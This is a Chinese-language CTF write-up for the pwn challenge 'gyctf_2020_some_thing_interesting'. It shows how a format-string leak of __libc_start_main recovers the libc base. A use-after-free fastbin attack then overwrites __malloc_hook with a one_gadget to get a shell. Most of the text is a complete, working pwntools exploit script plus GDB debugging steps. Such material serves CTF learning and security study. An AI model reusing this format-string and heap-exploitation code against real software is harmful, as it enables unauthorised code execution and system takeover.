gyctf_2020_some_thing_interesting
步骤
- 例行检查,64位程序,保护全开
- 本地试运行一下程序,看看大概的情况
- 64位ida载入
sub_B7A()
check()
create(),会申请两个chunk
modify()
delete()
利用思路:
- 利用格式化字符串漏洞来泄露libc
- 利用uaf ,将malloc_hook改为one_gadge
- 调用add,触发malloc,获取shell
利用过程
- 首先动调一下,利用格式化字符漏洞去泄露libc
记录一下动调过程
gdb启动调试,r运行,由于不知道偏移是多少,先随便输入一个偏移
之后选0调用check函数,触发格式化字符串漏洞,查看打印出来的内容,看到偏移为12的地方上的内容是0x555555555680
ctrl+c终止程序,stack查看栈上的布局,找到了偏移为12的地方,发现libc_start_main+240(libc中的一个函数),有了它我们就可以泄露libc了
肯定有人好奇,0xd70处不是也有0x555555555555680么,看一下偏移为16的地方即可解决这个疑惑
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p") #elf 11 libc 17
r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
到这儿我们就成功泄露了libc
- uaf漏洞的利用
详细利用手段见堆的六种利用方法,这边稍微记录一下
申请两个chunk(都是fast bin),释放chunk1,由于fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间
add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))
现在chunk1的fd指针指向了malloc_hook上方的空间,此时我们申请chunk就可以申请到malloc_hook的空间里了,因此我们可以在malloc_hook中写入one_gadget得到权限。
payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)
之后选择1,随便输入,触发malloc即可获取shell
我看其他师傅的wp要用realloc去调整帧栈,但是我利用的时候直接改成one_gadget即可,关于如何利用realloc调整帧栈,详看堆的六种利用方法
完整exp
from pwn import *
#r=remote("node3.buuoj.cn",26634)
r=process('./gyctf_2020_some_thing_interesting')
elf=('./gyctf_2020_some_thing_interesting')
libc=ELF('../../pwn_libc/libc-2.23(64).so')
#context.log_level = 'debug'
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size1, content1, size2, content2):
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(size1))
r.recvuntil("> O : ")
r.send(content1)
r.recvuntil("> RE's length : ")
r.sendline(str(size2))
r.recvuntil("> RE : ")
r.send(content2)
def delete(index):
r.recvuntil("#######################\n")
r.sendline('3')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def show(index):
r.recvuntil("#######################\n")
r.sendline('4')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def edit(index, content1, content2):
r.recvuntil("#######################\n")
r.sendline('2')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
r.recvuntil("> O : ")
r.sendline(content1)
r.recvuntil("> RE : ")
r.sendline(content2)
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO%17$p") #elf 11 libc 17
r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
#realloc=libc.address+libc.sym['__realloc_hook']
success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))
add(0x68, 'aaaa', 0x68, 'bbbb')
delete(1)
edit(1,'\x00'*8,p64(malloc_hook-0x23))
#gdb.attach(r)
payload='a'*(0x13)+p64(one_gadget)
add(0x68,'a'*8,0x68,payload)
#gdb.attach(r)
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))
r.interactive()